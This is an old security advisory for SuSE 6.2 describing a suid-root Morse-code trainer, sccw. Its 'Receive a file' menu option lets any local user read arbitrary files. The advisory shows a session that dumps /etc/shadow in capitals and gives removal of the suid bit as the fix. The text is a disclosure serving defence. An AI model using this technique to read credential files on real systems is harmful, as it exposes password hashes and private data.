COMMAND
/usr/bin/sccw
SYSTEMS AFFECTED
SuSE 6.2
PROBLEM
Brock Tellier found following. /usr/bin/sccw, suid root by
default on SuSE 6.2, allows any user to read any file on the
system. Sort of. Well, it's enough to read the text of almost
anything. In capitals. Without punctuation. Check it out:
xnec@susebox:/tmp > id
uid=1001(xnec) gid=100(users) groups=100(users)
xnec@susebox:/tmp > sccw
==========================================================
Soundcard CW for Linux v1.1 Steven J. Merrifield, VK3ESM
==========================================================
1. Set the speed, currently = 10
2. Set the frequency, currently = 700
3. Set the volume, currently = 32
4. Set the delay value, currently = 3
5. Set the character set for random groups, currently = 1
6. Set the number of groups, currently = 5
7. Receive random character groups.
8. Receive a file.
9. QUIT
==========================================================
Enter your choice : 8
Enter filename : /etc/shadow
ROOTFGPZNZWZ5GWRG10850010000
BIN8902010000
DAEMON8902010000
... etc.
The printing of these lines takes a few seconds each, so be
patient. While you're waiting, remove the suid-bit. Of course,
getting the /etc/shadow file in all caps isn't instant root, but
it's a start for someone out there. Besides, he can still read
your mail in all caps, without punctuation.
SOLUTION
Well, no instant root, but at least less combinations to try to.
Remove suid bit.